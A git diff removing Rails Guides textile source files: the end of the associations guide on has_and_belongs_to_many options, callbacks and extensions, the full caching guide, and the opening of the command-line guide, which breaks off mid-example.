-h6(#has_and_belongs_to_many-collection-find). <tt><em>collection</em>.find(...)</tt>
-
-The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. It also adds the additional condition that the object must be in the collection.
-
-<ruby>
-@new_assemblies = @part.assemblies.all(
- :conditions => ["created_at > ?", 2.days.ago])
-</ruby>
-
-NOTE: Beginning with Rails 3, supplying options to the +ActiveRecord::Base.find+ method is discouraged. Use <tt><em>collection</em>.where</tt> instead when you need to pass conditions.
-
-h6(#has_and_belongs_to_many-collection-where). <tt><em>collection</em>.where(...)</tt>
-
-The <tt><em>collection</em>.where</tt> method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. It also adds the additional condition that the object must be in the collection.
-
-<ruby>
-@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)
-</ruby>
-
-h6(#has_and_belongs_to_many-collection-exists). <tt><em>collection</em>.exists?(...)</tt>
-
-The <tt><em>collection</em>.exists?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
-
-h6(#has_and_belongs_to_many-collection-build). <tt><em>collection</em>.build(attributes = {})</tt>
-
-The <tt><em>collection</em>.build</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
-
-<ruby>
-@assembly = @part.assemblies.build(
- {:assembly_name => "Transmission housing"})
-</ruby>
-
-h6(#has_and_belongs_to_many-create-attributes). <tt><em>collection</em>.create(attributes = {})</tt>
-
-The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
-
-<ruby>
-@assembly = @part.assemblies.create(
- {:assembly_name => "Transmission housing"})
-</ruby>
-
-h5. Options for +has_and_belongs_to_many+
-
-While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_and_belongs_to_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
-
-<ruby>
-class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies, :uniq => true,
- :read_only => true
-end
-</ruby>
-
-The +has_and_belongs_to_many+ association supports these options:
-
-* +:association_foreign_key+
-* +:autosave+
-* +:class_name+
-* +:conditions+
-* +:counter_sql+
-* +:delete_sql+
-* +:extend+
-* +:finder_sql+
-* +:foreign_key+
-* +:group+
-* +:include+
-* +:insert_sql+
-* +:join_table+
-* +:limit+
-* +:offset+
-* +:order+
-* +:readonly+
-* +:select+
-* +:uniq+
-* +:validate+
-
-h6(#has_and_belongs_to_many-association_foreign_key). +:association_foreign_key+
-
-By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly:
-
-TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example:
-
-<ruby>
-class User < ActiveRecord::Base
- has_and_belongs_to_many :friends, :class_name => "User",
- :foreign_key => "this_user_id",
- :association_foreign_key => "other_user_id"
-end
-</ruby>
-
-h6(#has_and_belongs_to_many-autosave). +:autosave+
-
-If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-
-h6(#has_and_belongs_to_many-class_name). +:class_name+
-
-If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is +Gadget+, you'd set things up this way:
-
-<ruby>
-class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies, :class_name => "Gadget"
-end
-</ruby>
-
-h6(#has_and_belongs_to_many-conditions). +:conditions+
-
-The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by an SQL +WHERE+ clause).
-
-<ruby>
-class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies,
- :conditions => "factory = 'Seattle'"
-end
-</ruby>
-
-You can also set conditions via a hash:
-
-<ruby>
-class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies,
- :conditions => { :factory => 'Seattle' }
-end
-</ruby>
-
-If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@parts.assemblies.create+ or +@parts.assemblies.build+ will create orders where the +factory+ column has the value "Seattle".
-
-h6(#has_and_belongs_to_many-counter_sql). +:counter_sql+
-
-Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself.
-
-NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement.
-
-h6(#has_and_belongs_to_many-delete_sql). +:delete_sql+
-
-Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the +:delete_sql+ option, you can specify a complete SQL statement to delete them yourself.
-
-h6(#has_and_belongs_to_many-extend). +:extend+
-
-The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
-
-h6(#has_and_belongs_to_many-finder_sql). +:finder_sql+
-
-Normally Rails automatically generates the proper SQL to fetch the association members. With the +:finder_sql+ option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.
-
-h6(#has_and_belongs_to_many-foreign_key). +:foreign_key+
-
-By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-
-<ruby>
-class User < ActiveRecord::Base
- has_and_belongs_to_many :friends, :class_name => "User",
- :foreign_key => "this_user_id",
- :association_foreign_key => "other_user_id"
-end
-</ruby>
-
-h6(#has_and_belongs_to_many-group). +:group+
-
-The +:group+ option supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
-
-<ruby>
-class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies, :group => "factory"
-end
-</ruby>
-
-h6(#has_and_belongs_to_many-include). +:include+
-
-You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used.
-
-h6(#has_and_belongs_to_many-insert_sql). +:insert_sql+
-
-Normally Rails automatically generates the proper SQL to create links between the associated classes. With the +:insert_sql+ option, you can specify a complete SQL statement to insert them yourself.
-
-h6(#has_and_belongs_to_many-join_table). +:join_table+
-
-If the default name of the join table, based on lexical ordering, is not what you want, you can use the +:join_table+ option to override the default.
-
-h6(#has_and_belongs_to_many-limit). +:limit+
-
-The +:limit+ option lets you restrict the total number of objects that will be fetched through an association.
-
-<ruby>
-class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies, :order => "created_at DESC",
- :limit => 50
-end
-</ruby>
-
-h6(#has_and_belongs_to_many-offset). +:offset+
-
-The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 11 records.
-
-h6(#has_and_belongs_to_many-order). +:order+
-
-The +:order+ option dictates the order in which associated objects will be received (in the syntax used by an SQL +ORDER BY+ clause).
-
-<ruby>
-class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies, :order => "assembly_name ASC"
-end
-</ruby>
-
-h6(#has_and_belongs_to_many-readonly). +:readonly+
-
-If you set the +:readonly+ option to +true+, then the associated objects will be read-only when retrieved via the association.
-
-h6(#has_and_belongs_to_many-select). +:select+
-
-The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
-
-h6(#has_and_belongs_to_many-uniq). +:uniq+
-
-Specify the +:uniq => true+ option to remove duplicates from the collection.
-
-h6(#has_and_belongs_to_many-validate). +:validate+
-
-If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
-
-h5(#has_and_belongs_to_many-when_are_objects_saved). When are Objects Saved?
-
-When you assign an object to a +has_and_belongs_to_many+ association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.
-
-If any of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
-
-If the parent object (the one declaring the +has_and_belongs_to_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
-
-If you want to assign an object to a +has_and_belongs_to_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method.
-
-h4. Association Callbacks
-
-Normal callbacks hook into the life cycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a +:before_save+ callback to cause something to happen just before an object is saved.
-
-Association callbacks are similar to normal callbacks, but they are triggered by events in the life cycle of a collection. There are four available association callbacks:
-
-* +before_add+
-* +after_add+
-* +before_remove+
-* +after_remove+
-
-You define association callbacks by adding options to the association declaration. For example:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders, :before_add => :check_credit_limit
-
- def check_credit_limit(order)
- ...
- end
-end
-</ruby>
-
-Rails passes the object being added or removed to the callback.
-
-You can stack callbacks on a single event by passing them as an array:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders,
- :before_add => [:check_credit_limit, :calculate_shipping_charges]
-
- def check_credit_limit(order)
- ...
- end
-
- def calculate_shipping_charges(order)
- ...
- end
-end
-</ruby>
-
-If a +before_add+ callback throws an exception, the object does not get added to the collection. Similarly, if a +before_remove+ callback throws an exception, the object does not get removed from the collection.
-
-h4. Association Extensions
-
-You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders do
- def find_by_order_prefix(order_number)
- find_by_region_id(order_number[0..2])
- end
- end
-end
-</ruby>
-
-If you have an extension that should be shared by many associations, you can use a named extension module. For example:
-
-<ruby>
-module FindRecentExtension
- def find_recent
- where("created_at > ?", 5.days.ago)
- end
-end
-
-class Customer < ActiveRecord::Base
- has_many :orders, :extend => FindRecentExtension
-end
-
-class Supplier < ActiveRecord::Base
- has_many :deliveries, :extend => FindRecentExtension
-end
-</ruby>
-
-To include more than one extension module in a single association, specify an array of modules:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders,
- :extend => [FindRecentExtension, FindActiveExtension]
-end
-</ruby>
-
-Extensions can refer to the internals of the association proxy using these three attributes of the +proxy_association+ accessor:
-
-* +proxy_association.owner+ returns the object that the association is a part of.
-* +proxy_association.reflection+ returns the reflection object that describes the association.
-* +proxy_association.target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+.
diff --git a/railties/guides/source/caching_with_rails.textile b/railties/guides/source/caching_with_rails.textile
deleted file mode 100644
index 4273d0dd64..0000000000
--- a/railties/guides/source/caching_with_rails.textile
+++ /dev/null
@@ -1,405 +0,0 @@
-h2. Caching with Rails: An overview
-
-This guide will teach you what you need to know about avoiding that expensive round-trip to your database and returning what you need to return to the web clients in the shortest time possible.
-
-After reading this guide, you should be able to use and configure:
-
-* Page, action, and fragment caching
-* Sweepers
-* Alternative cache stores
-* Conditional GET support
-
-endprologue.
-
-h3. Basic Caching
-
-This is an introduction to the three types of caching techniques that Rails provides by default without the use of any third party plugins.
-
-To start playing with caching you'll want to ensure that +config.action_controller.perform_caching+ is set to +true+, if you're running in development mode. This flag is normally set in the corresponding +config/environments/*.rb+ and caching is disabled by default for development and test, and enabled for production.
-
-<ruby>
-config.action_controller.perform_caching = true
-</ruby>
-
-h4. Page Caching
-
-Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with.
-
-To enable page caching, you need to use the +caches_page+ method.
-
-<ruby>
-class ProductsController < ActionController
-
- caches_page :index
-
- def index
- @products = Products.all
- end
-end
-</ruby>
-
-Let's say you have a controller called +ProductsController+ and an +index+ action that lists all the products. The first time anyone requests +/products+, Rails will generate a file called +products.html+ and the webserver will then look for that file before it passes the next request for +/products+ to your Rails application.
-
-By default, the page cache directory is set to +Rails.public_path+ (which is usually set to the +public+ folder) and this can be configured by changing the configuration setting +config.action_controller.page_cache_directory+. Changing the default from +public+ helps avoid naming conflicts, since you may want to put other static html in +public+, but changing this will require web server reconfiguration to let the web server know where to serve the cached files from.
-
-The Page Caching mechanism will automatically add a +.html+ extension to requests for pages that do not have an extension to make it easy for the webserver to find those pages and this can be configured by changing the configuration setting +config.action_controller.page_cache_extension+.
-
-In order to expire this page when a new product is added we could extend our example controller like this:
-
-<ruby>
-class ProductsController < ActionController
-
- caches_page :index
-
- def index
- @products = Products.all
- end
-
- def create
- expire_page :action => :index
- end
-
-end
-</ruby>
-
-If you want a more complicated expiration scheme, you can use cache sweepers to expire cached objects when things change. This is covered in the section on Sweepers.
-
-NOTE: Page caching ignores all parameters. For example +/products?page=1+ will be written out to the filesystem as +products.html+ with no reference to the +page+ parameter. Thus, if someone requests +/products?page=2+ later, they will get the cached first page. Be careful when page caching GET parameters in the URL!
-
-INFO: Page caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.
-
-h4. Action Caching
-
-One of the issues with Page Caching is that you cannot use it for pages that require to restrict access somehow. This is where Action Caching comes in. Action Caching works like Page Caching except for the fact that the incoming web request does go from the webserver to the Rails stack and Action Pack so that before filters can be run on it before the cache is served. This allows authentication and other restriction to be run while still serving the result of the output from a cached copy.
-
-Clearing the cache works in the exact same way as with Page Caching.
-
-Let's say you only wanted authenticated users to call actions on +ProductsController+.
-
-<ruby>
-class ProductsController < ActionController
-
- before_filter :authenticate
- caches_action :index
-
- def index
- @products = Product.all
- end
-
- def create
- expire_action :action => :index
- end
-
-end
-</ruby>
-
-You can also use +:if+ (or +:unless+) to pass a Proc that specifies when the action should be cached. Also, you can use +:layout => false+ to cache without layout so that dynamic information in the layout such as logged in user info or the number of items in the cart can be left uncached. This feature is available as of Rails 2.2.
-
-You can modify the default action cache path by passing a +:cache_path+ option. This will be passed directly to +ActionCachePath.path_for+. This is handy for actions with multiple possible routes that should be cached differently. If a block is given, it is called with the current controller instance.
-
-Finally, if you are using memcached or Ehcache, you can also pass +:expires_in+. In fact, all parameters not used by +caches_action+ are sent to the underlying cache store.
-
-INFO: Action caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.
-
-h4. Fragment Caching
-
-Life would be perfect if we could get away with caching the entire contents of a page or action and serving it out to the world. Unfortunately, dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. In order to address such a dynamically created page where different parts of the page need to be cached and expired differently, Rails provides a mechanism called Fragment Caching.
-
-Fragment Caching allows a fragment of view logic to be wrapped in a cache block and served out of the cache store when the next request comes in.
-
-As an example, if you wanted to show all the orders placed on your website in real time and didn't want to cache that part of the page, but did want to cache the part of the page which lists all products available, you could use this piece of code:
-
-<ruby>
-<% Order.find_recent.each do |o| %>
- <%= o.buyer.name %> bought <%= o.product.name %>
-<% end %>
-
-<% cache do %>
- All available products:
- <% Product.all.each do |p| %>
- <%= link_to p.name, product_url(p) %>
- <% end %>
-<% end %>
-</ruby>
-
-The cache block in our example will bind to the action that called it and is written out to the same place as the Action Cache, which means that if you want to cache multiple fragments per action, you should provide an +action_suffix+ to the cache call:
-
-<ruby>
-<% cache(:action => 'recent', :action_suffix => 'all_products') do %>
- All available products:
-</ruby>
-
-and you can expire it using the +expire_fragment+ method, like so:
-
-<ruby>
-expire_fragment(:controller => 'products', :action => 'recent', :action_suffix => 'all_products')
-</ruby>
-
-If you don't want the cache block to bind to the action that called it, You can also use globally keyed fragments by calling the +cache+ method with a key, like so:
-
-<ruby>
-<% cache('all_available_products') do %>
- All available products:
-<% end %>
-</ruby>
-
-This fragment is then available to all actions in the +ProductsController+ using the key and can be expired the same way:
-
-<ruby>
-expire_fragment('all_available_products')
-</ruby>
-
-h4. Sweepers
-
-Cache sweeping is a mechanism which allows you to get around having a ton of +expire_{page,action,fragment}+ calls in your code. It does this by moving all the work required to expire cached content into an +ActionController::Caching::Sweeper+ subclass. This class is an observer and looks for changes to an object via callbacks, and when a change occurs it expires the caches associated with that object in an around or after filter.
-
-Continuing with our Product controller example, we could rewrite it with a sweeper like this:
-
-<ruby>
-class ProductSweeper < ActionController::Caching::Sweeper
- observe Product # This sweeper is going to keep an eye on the Product model
-
- # If our sweeper detects that a Product was created call this
- def after_create(product)
- expire_cache_for(product)
- end
-
- # If our sweeper detects that a Product was updated call this
- def after_update(product)
- expire_cache_for(product)
- end
-
- # If our sweeper detects that a Product was deleted call this
- def after_destroy(product)
- expire_cache_for(product)
- end
-
- private
- def expire_cache_for(product)
- # Expire the index page now that we added a new product
- expire_page(:controller => 'products', :action => 'index')
-
- # Expire a fragment
- expire_fragment('all_available_products')
- end
-end
-</ruby>
-
-You may notice that the actual product gets passed to the sweeper, so if we were caching the edit action for each product, we could add an expire method which specifies the page we want to expire:
-
-<ruby>
-expire_action(:controller => 'products', :action => 'edit', :id => product.id)
-</ruby>
-
-Then we add it to our controller to tell it to call the sweeper when certain actions are called. So, if we wanted to expire the cached content for the list and edit actions when the create action was called, we could do the following:
-
-<ruby>
-class ProductsController < ActionController
-
- before_filter :authenticate
- caches_action :index
- cache_sweeper :product_sweeper
-
- def index
- @products = Product.all
- end
-
-end
-</ruby>
-
-h4. SQL Caching
-
-Query caching is a Rails feature that caches the result set returned by each query so that if Rails encounters the same query again for that request, it will use the cached result set as opposed to running the query against the database again.
-
-For example:
-
-<ruby>
-class ProductsController < ActionController
-
- def index
- # Run a find query
- @products = Product.all
-
- ...
-
- # Run the same query again
- @products = Product.all
- end
-
-end
-</ruby>
-
-The second time the same query is run against the database, it's not actually going to hit the database. The first time the result is returned from the query it is stored in the query cache (in memory) and the second time it's pulled from memory.
-
-However, it's important to note that query caches are created at the start of an action and destroyed at the end of that action and thus persist only for the duration of the action. If you'd like to store query results in a more persistent fashion, you can in Rails by using low level caching.
-
-h3. Cache Stores
-
-Rails provides different stores for the cached data created by action and fragment caches. Page caches are always stored on disk.
-
-h4. Configuration
-
-You can set up your application's default cache store by calling +config.cache_store=+ in the Application definition inside your +config/application.rb+ file or in an Application.configure block in an environment specific configuration file (i.e. +config/environments/*.rb+). The first argument will be the cache store to use and the rest of the argument will be passed as arguments to the cache store constructor.
-
-<ruby>
-config.cache_store = :memory_store
-</ruby>
-
-Alternatively, you can call +ActionController::Base.cache_store+ outside of a configuration block.
-
-You can access the cache by calling +Rails.cache+.
-
-h4. ActiveSupport::Cache::Store
-
-This class provides the foundation for interacting with the cache in Rails. This is an abstract class and you cannot use it on its own. Rather you must use a concrete implementation of the class tied to a storage engine. Rails ships with several implementations documented below.
-
-The main methods to call are +read+, +write+, +delete+, +exist?+, and +fetch+. The fetch method takes a block and will either return an existing value from the cache, or evaluate the block and write the result to the cache if no value exists.
-
-There are some common options used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries.
-
-* +:namespace+ - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. The default value will include the application name and Rails environment.
-
-* +:compress+ - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network.
-
-* +:compress_threshold+ - This options is used in conjunction with the +:compress+ option to indicate a threshold under which cache entries should not be compressed. This defaults to 16 kilobytes.
-
-* +:expires_in+ - This option sets an expiration time in seconds for the cache entry when it will be automatically removed from the cache.
-
-* +:race_condition_ttl+ - This option is used in conjunction with the +:expires_in+ option. It will prevent race conditions when cache entries expire by preventing multiple processes from simultaneously regenerating the same entry (also known as the dog pile effect). This option sets the number of seconds that an expired entry can be reused while a new value is being regenerated. It's a good practice to set this value if you use the +:expires_in+ option.
-
-h4. ActiveSupport::Cache::MemoryStore
-
-This cache store keeps entries in memory in the same Ruby process. The cache store has a bounded size specified by the +:size+ options to the initializer (default is 32Mb). When the cache exceeds the allotted size, a cleanup will occur and the least recently used entries will be removed.
-
-<ruby>
-ActionController::Base.cache_store = :memory_store, :size => 64.megabytes
-</ruby>
-
-If you're running multiple Ruby on Rails server processes (which is the case if you're using mongrel_cluster or Phusion Passenger), then your Rails server process instances won't be able to share cache data with each other. This cache store is not appropriate for large application deployments, but can work well for small, low traffic sites with only a couple of server processes or for development and test environments.
-
-This is the default cache store implementation.
-
-h4. ActiveSupport::Cache::FileStore
-
-This cache store uses the file system to store entries. The path to the directory where the store files will be stored must be specified when initializing the cache.
-
-<ruby>
-ActionController::Base.cache_store = :file_store, "/path/to/cache/directory"
-</ruby>
-
-With this cache store, multiple server processes on the same host can share a cache. Servers processes running on different hosts could share a cache by using a shared file system, but that set up would not be ideal and is not recommended. The cache store is appropriate for low to medium traffic sites that are served off one or two hosts.
-
-Note that the cache will grow until the disk is full unless you periodically clear out old entries.
-
-h4. ActiveSupport::Cache::MemCacheStore
-
-This cache store uses Danga's +memcached+ server to provide a centralized cache for your application. Rails uses the bundled +memcached-client+ gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy.
-
-When initializing the cache, you need to specify the addresses for all memcached servers in your cluster. If none is specified, it will assume memcached is running on the local host on the default port, but this is not an ideal set up for larger sites.
-
-The +write+ and +fetch+ methods on this cache accept two additional options that take advantage of features specific to memcached. You can specify +:raw+ to send a value directly to the server with no serialization. The value must be a string or number. You can use memcached direct operation like +increment+ and +decrement+ only on raw values. You can also specify +:unless_exist+ if you don't want memcached to overwrite an existing entry.
-
-<ruby>
-ActionController::Base.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com"
-</ruby>
-
-h4. ActiveSupport::Cache::EhcacheStore
-
-If you are using JRuby you can use Terracotta's Ehcache as the cache store for your application. Ehcache is an open source Java cache that also offers an enterprise version with increased scalability, management, and commercial support. You must first install the jruby-ehcache-rails3 gem (version 1.1.0 or later) to use this cache store.
-
-<ruby>
-ActionController::Base.cache_store = :ehcache_store
-</ruby>
-
-When initializing the cache, you may use the +:ehcache_config+ option to specify the Ehcache config file to use (where the default is "ehcache.xml" in your Rails config directory), and the :cache_name option to provide a custom name for your cache (the default is rails_cache).
-
-In addition to the standard +:expires_in+ option, the +write+ method on this cache can also accept the additional +:unless_exist+ option, which will cause the cache store to use Ehcache's +putIfAbsent+ method instead of +put+, and therefore will not overwrite an existing entry. Additionally, the +write+ method supports all of the properties exposed by the "Ehcache Element class":http://ehcache.org/apidocs/net/sf/ehcache/Element.html , including:
-
-|_. Property |_. Argument Type |_. Description |
-| elementEvictionData | ElementEvictionData | Sets this element's eviction data instance. |
-| eternal | boolean | Sets whether the element is eternal. |
-| timeToIdle, tti | int | Sets time to idle |
-| timeToLive, ttl, expires_in | int | Sets time to Live |
-| version | long | Sets the version attribute of the ElementAttributes object. |
-
-These options are passed to the +write+ method as Hash options using either camelCase or underscore notation, as in the following examples:
-
-<ruby>
-Rails.cache.write('key', 'value', :time_to_idle => 60.seconds, :timeToLive => 600.seconds)
-caches_action :index, :expires_in => 60.seconds, :unless_exist => true
-</ruby>
-
-For more information about Ehcache, see "http://ehcache.org/":http://ehcache.org/ .
-For more information about Ehcache for JRuby and Rails, see "http://ehcache.org/documentation/jruby.html":http://ehcache.org/documentation/jruby.html
-
-h4. Custom Cache Stores
-
-You can create your own custom cache store by simply extending +ActiveSupport::Cache::Store+ and implementing the appropriate methods. In this way, you can swap in any number of caching technologies into your Rails application.
-
-To use a custom cache store, simple set the cache store to a new instance of the class.
-
-<ruby>
-ActionController::Base.cache_store = MyCacheStore.new
-</ruby>
-
-h4. Cache Keys
-
-The keys used in a cache can be any object that responds to either +:cache_key+ or to +:to_param+. You can implement the +:cache_key+ method on your classes if you need to generate custom keys. Active Record will generate keys based on the class name and record id.
-
-You can use Hashes and Arrays of values as cache keys.
-
-<ruby>
-# This is a legal cache key
-Rails.cache.read(:site => "mysite", :owners => [owner_1, owner_2])
-</ruby>
-
-The keys you use on +Rails.cache+ will not be the same as those actually used with the storage engine. They may be modified with a namespace or altered to fit technology backend constraints. This means, for instance, that you can't save values with +Rails.cache+ and then try to pull them out with the +memcache-client+ gem. However, you also don't need to worry about exceeding the memcached size limit or violating syntax rules.
-
-h3. Conditional GET support
-
-Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache.
-
-They work by using the +HTTP_IF_NONE_MATCH+ and +HTTP_IF_MODIFIED_SINCE+ headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server’s version then the server only needs to send back an empty response with a not modified status.
-
-It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task:
-
-<ruby>
-class ProductsController < ApplicationController
-
- def show
- @product = Product.find(params[:id])
-
- # If the request is stale according to the given timestamp and etag value
- # (i.e. it needs to be processed again) then execute this block
- if stale?(:last_modified => @product.updated_at.utc, :etag => @product)
- respond_to do |wants|
- # ... normal response processing
- end
- end
-
- # If the request is fresh (i.e. it's not modified) then you don't need to do
- # anything. The default render checks for this using the parameters
- # used in the previous call to stale? and will automatically send a
- # :not_modified. So that's it, you're done.
- end
-end
-</ruby>
-
-If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you’ve got an easy helper in fresh_when:
-
-<ruby>
-class ProductsController < ApplicationController
-
- # This will automatically send back a :not_modified if the request is fresh,
- # and will render the default template (product.*) if it's stale.
-
- def show
- @product = Product.find(params[:id])
- fresh_when :last_modified => @product.published_at.utc, :etag => @product
- end
-end
-</ruby>
-
-h3. Further reading
-
-* "Scaling Rails Screencasts":http://railslab.newrelic.com/scaling-rails
diff --git a/railties/guides/source/command_line.textile b/railties/guides/source/command_line.textile
deleted file mode 100644
index f6b33d283c..0000000000
--- a/railties/guides/source/command_line.textile
+++ /dev/null
@@ -1,572 +0,0 @@
-h2. A Guide to The Rails Command Line
-
-Rails comes with every command line tool you'll need to
-
-* Create a Rails application
-* Generate models, controllers, database migrations, and unit tests
-* Start a development server
-* Experiment with objects through an interactive shell
-* Profile and benchmark your new creation
-
-endprologue.
-
-NOTE: This tutorial assumes you have basic Rails knowledge from reading the "Getting Started with Rails Guide":getting_started.html.
-
-WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails.
-
-h3. Command Line Basics
-
-There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:
-
-* <tt>rails console</tt>
-* <tt>rails server</tt>
-* <tt>rake</tt>
-* <tt>rails generate</tt>
-* <tt>rails dbconsole</tt>
-* <tt>rails new app_name</tt>
-
-Let's create a simple Rails application to step through each of these commands in context.
-
-h4. +rails new+
-
-The first thing we'll want to do is create a new Rails application by running the +rails new+ command after installing Rails.
-
-WARNING: You can install the rails gem by typing +gem install rails+, if you don't have it already. Follow the instructions in the "Rails 3 Release Notes":/3_0_release_notes.html
-
-<shell>
-$ rails new commandsapp
- create
- create README
- create .gitignore
- create Rakefile
- create config.ru
- create Gemfile
- create app
- ...
- create tmp/cache
- create tmp/pids
- create vendor/plugins
- create vendor/plugins/.gitkeep
-</shell>
-
-Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.
-
-h4. +rails server+
-
-The +rails server+ command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser.
-
-INFO: WEBrick isn't your only option for serving Rails. We'll get to that "later":#different-servers.
-
-With no further work, +rails server+ will run our new shiny Rails app:
-
-<shell>
-$ cd commandsapp
-$ rails server
-=> Booting WEBrick
-=> Rails 3.1.0 application starting in development on http://0.0.0.0:3000
-=> Call with -d to detach
-=> Ctrl-C to shutdown server
-[2010-04-18 03:20:33] INFO WEBrick 1.3.1
-[2010-04-18 03:20:33] INFO ruby 1.8.7 (2010-01-10) [x86_64-linux]
-[2010-04-18 03:20:33] INFO WEBrick::HTTPServer#start: pid=26086 port=3000
-</shell>
-
-With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open "http://localhost:3000":http://localhost:3000, you will see a basic Rails app running.
-
-You can also use the alias "s" to start the server: <tt>rails s</tt>.
-
-The server can be run on a different port using the +-p+ option. The default development environment can be changed using +-e+.
-
-<shell>
-$ rails server -e production -p 4000
-</shell>
-
-h4. +rails generate+
-
-The +rails generate+ command uses templates to create a whole lot of things. Running +rails generate+ by itself gives a list of available generators:
-
-You can also use the alias "g" to invoke the generator command: <tt>rails g</tt>.
-
-<shell>
-$ rails generate
-Usage: rails generate GENERATOR [args] [options]
-
-...
-...
-
-Please choose a generator below.
-
-Rails:
- controller
- generator
- ...
- ...
-</shell>
-
-NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!
-
-Using generators will save you a large amount of time by writing *boilerplate code*, code that is necessary for the app to work.
-
-Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:
-
-INFO: All Rails console utilities have help text. As with most *nix utilities, you can try adding +--help+ or +-h+ to the end, for example +rails server --help+.
-
-<shell>
-$ rails generate controller
-Usage: rails generate controller NAME [action action] [options]
-
-...
-...
-
-Example:
- rails generate controller CreditCard open debit credit close
-
- Credit card controller with URLs like /credit_card/debit.
- Controller: app/controllers/credit_card_controller.rb
- Views: app/views/credit_card/debit.html.erb [...]
- Helper: app/helpers/credit_card_helper.rb
- Test: test/functional/credit_card_controller_test.rb
-
-Modules Example:
- rails generate controller 'admin/credit_card' suspend late_fee
-
